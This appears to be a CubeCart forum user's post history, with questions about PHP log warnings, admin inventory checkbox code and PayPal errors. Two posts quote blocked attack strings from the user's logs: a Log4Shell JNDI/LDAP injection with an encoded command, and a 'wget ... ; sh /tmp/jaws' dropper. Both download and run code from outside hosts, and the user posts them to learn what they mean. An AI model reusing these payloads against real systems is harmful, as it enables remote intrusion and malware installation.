Jump to content

Claudia M

Member
  • Posts

    847
  • Joined

  • Last visited

  • Days Won

    13

Posts posted by Claudia M

  1. Here I am again asking about warnings in my cPanel log. Never had these in my old site so just want to see what they are all about.  Thanks in advance for any and all info

    [18-May-2022 19:46:02 America/Louisville] PHP Warning:  Security Warning: Illegal array key "unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA in /home/waymixco/public_html/classes/sanitize.class.php on line 114

    [19-May-2022 07:05:57 America/Louisville] PHP Warning:  Security Warning: Illegal array key "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150_136_111_68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114

    [19-May-2022 08:41:49 America/Louisville] PHP Warning:  Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155

    [19-May-2022 15:40:02 America/Louisville] PHP Warning:  Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155

    [19-May-2022 17:20:17 America/Louisville] PHP Warning:  Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114

    [19-May-2022 17:58:28 America/Louisville] PHP Warning:  Security Warning: Illegal array key "images/" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114

     

    [19-May-2022 07:05:57 America/Louisville] PHP Warning:  Security Warning: Illegal array key "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150_136_111_68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114

    [19-May-2022 08:41:49 America/Louisville] PHP Warning:  Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155

    [19-May-2022 15:40:02 America/Louisville] PHP Warning:  Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155

    [19-May-2022 17:20:17 America/Louisville] PHP Warning:  Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114

     

  2. It was where I placed the last code.  I had added other elements and placed this in the middle for some stupid reason.  But it's got my wondering if my other added code is correct.  Should I add foreach on all of them and have two } instead of the one?

     

    Here's a partial sample of what I have now:

     // Update Status

        foreach ($_POST['status'] as $product_id => $status) {

            $GLOBALS['db']->update('CubeCart_inventory', array('status' => $status), array('product_id' => $product_id));

        }

          if (isset($_POST['latest']) && is_array($_POST['latest']) && Admin::getInstance()->permissions('products', CC_PERM_EDIT)) {

            // Update Latest Product state

            foreach ($_POST['latest'] as $product_id => $state) {

                $GLOBALS['db']->update('CubeCart_inventory', array('latest' => $state), array('product_id' => $product_id));

            }

        }

    if (isset($_POST['product']) && is_array($_POST['product'])) {

        // Update Product Code

            foreach ($_POST['product'] as $product_id => $product_detail_to_update) {

                if (isset($product_detail_to_update['product_code'])) {

                    $GLOBALS['db']->update('CubeCart_inventory', array('product_code' => $product_detail_to_update['product_code']), array('product_id' => $product_id));

                }

             // Update Product Name

                if (isset($product_detail_to_update['product_name'])) {

                    $GLOBALS['db']->update('CubeCart_inventory', array('name' => $product_detail_to_update['product_name']), array('product_id' => $product_id));

                }

       

              // Update Product Price

                if (isset($product_detail_to_update['product_price'])) {

                    $GLOBALS['db']->update('CubeCart_inventory', array('price' => $product_detail_to_update['product_price']), array('product_id' => $product_id));

                }

                              

             // Update Cost Price

                if (isset($product_detail_to_update['cost_price'])) {

                    $GLOBALS['db']->update('CubeCart_inventory', array('cost_price' => $product_detail_to_update['cost_price']), array('product_id' => $product_id));

                }

     

             // Update Item Location  

                 if (isset($product_detail_to_update['item_location'])) {

                   $GLOBALS['db']->update('CubeCart_inventory', array('item_location' => $product_detail_to_update['item_location']), array('product_id' => $product_id));

               }

  3. I am trying to add a sortable checkbox for latest products on the product inventory page in admin.  I change my latest products frequently and want to keep track of them.  I can get the checkbox to show up, I just can't get it to work. 

     

    I've added this so the checkbox doesn't take up a lot of room on the product inventory page

      <thead>

                <tr>

                   <th nowrap="nowrap">&nbsp;</th>

                   <th nowrap="nowrap">{$THEAD.name}</th>

                   <th nowrap="nowrap">LP</th>

                   <th nowrap="nowrap">{$THEAD.image}</th>

     

    A few lines later I put this

     <span class="light-category">{$product.category}</span>

                      {/if}

                   </td>

                  

                          <td style="text-align:center"><input type="hidden" name="latest" id="product_latest" class="toggle" value="{$PRODUCT.latest}"></td>

     

                   <td style="text-align:center">

                      {if !empty($product.image_path_tiny)}

     

    I know I need to put something like this in the source file to make it sortable but I need to get it to work first

     

     // Sorting

        $current_page = currentPage(array('sort'));

        if (!isset($_GET['sort']) || !is_array($_GET['sort'])) {

            $_GET['sort'] = array('updated' => 'DESC');

        }

        $thead_sort = array(

            'status'   => $GLOBALS['db']->column_sort('status', $lang['common']['status'], 'sort', $current_page, $_GET['sort']),

            'digital'   => $GLOBALS['db']->column_sort('digital', $lang['common']['type'], 'sort', $current_page, $_GET['sort']),

    'product_latest'   => $GLOBALS['db']->column_sort('product_latest', $lang['catalogue']['type'], 'sort', $current_page, $_GET['sort']),

     

    The checkbox won't stay checked and I didn't want to go any further and mess everything up.

     

    Thanks for any and all help

    Claudia

  4. I'm setting up my custom page in admin and i get this.  The textbox are too long for the country and state and the checkboxes for the default billling and delivery addresses are missing.

    The only change I have made for the stock CC6.4.5 admin/skin/customer file is adding a sold venue field.  I've even left the </span> </span> in the wrong place as in the stock 6.4.5 file.

    1381362722_Capturepopupaddresschecks.PNG.c97e4cd2286e762e56a3131c73857a14.PNG

    Thanks for any and all help

    Nevermind - It's working now

  5. What does this error mean?

     

    [27-Apr-2022 09:14:57 America/Louisville] PHP Warning:  Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_23_94_50_159/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxxx/public_html/classes/sanitize.class.php on line 114

     

    This is a brand new site.  The only thing I've done is some cosmetic stuff and intergrated Semper_Fi Related Products Module from my old site with the changes Brian gave me to make it work with CC6.4.4 and some custom changes I needed. I exported / imported the database needed from the old store to the new one.

     

    I'm running CC6.4.5 on the new site.

     

    Also I downloaded my raw access log, but have no way to open it.

     

    Thanks in advance for any and all help

  6. Hi,

    I'm starting a new web site and am using the All In One Shipping for both.  I have it setup for the older site and was wondering if there is some way I can just copy the rates (database) to the new site from the other database.  I need to keep it in the older site too.  It's just that they are the same and it would be a lot of work.

    Thanks in advance,

    Claudia

  7. Here's what was in red for the same time. I've x'd out personal and other info.  An order for this customer did go thru but not for this amount (value) .

    Request Sent (cURL) - https://api.paypal.com/v2/checkout/orders/xxxxxxx [{"op":"replace","path":"/purchase_units/@reference_id=='xxxxxxx'/amount","value":{"value":"13.93","currency_code":"USD"}},{"op":"replace","path":"/purchase_units/@reference_id=='xxxxx'/shipping/name","value":{"full_name":"xxxx xxxxx"}},{"op":"replace","path":"/purchase_units/@reference_id==xxxxxx'/shipping/address","value":{"address_line_1":"xxxxx xx","admin_area_1":"xx","admin_area_2":"xxxxx","postal_code":"xxxxx","country_code":"US"}}]

    Error: cURL Error (22): The requested URL returned error: 422

    Response received (422 - Unprocessable Entity)

  8. I saw these errors in my log today.  What should I do?

    [02-Apr-2022 10:16:28 America/Louisville] PHP Warning:  curl_error() expects parameter 1 to be resource, null given in /home/xxxxxx/public_html/modules/plugins/paypal_commerce/paypal.class.php on line 856
    [02-Apr-2022 10:16:28 America/Louisville] PHP Warning:  Failed to update PayPal Commerce Order. Curl error:  in /home/xxxxxx/public_html/modules/plugins/paypal_commerce/paypal.class.php on line 856

×
×
  • Create New...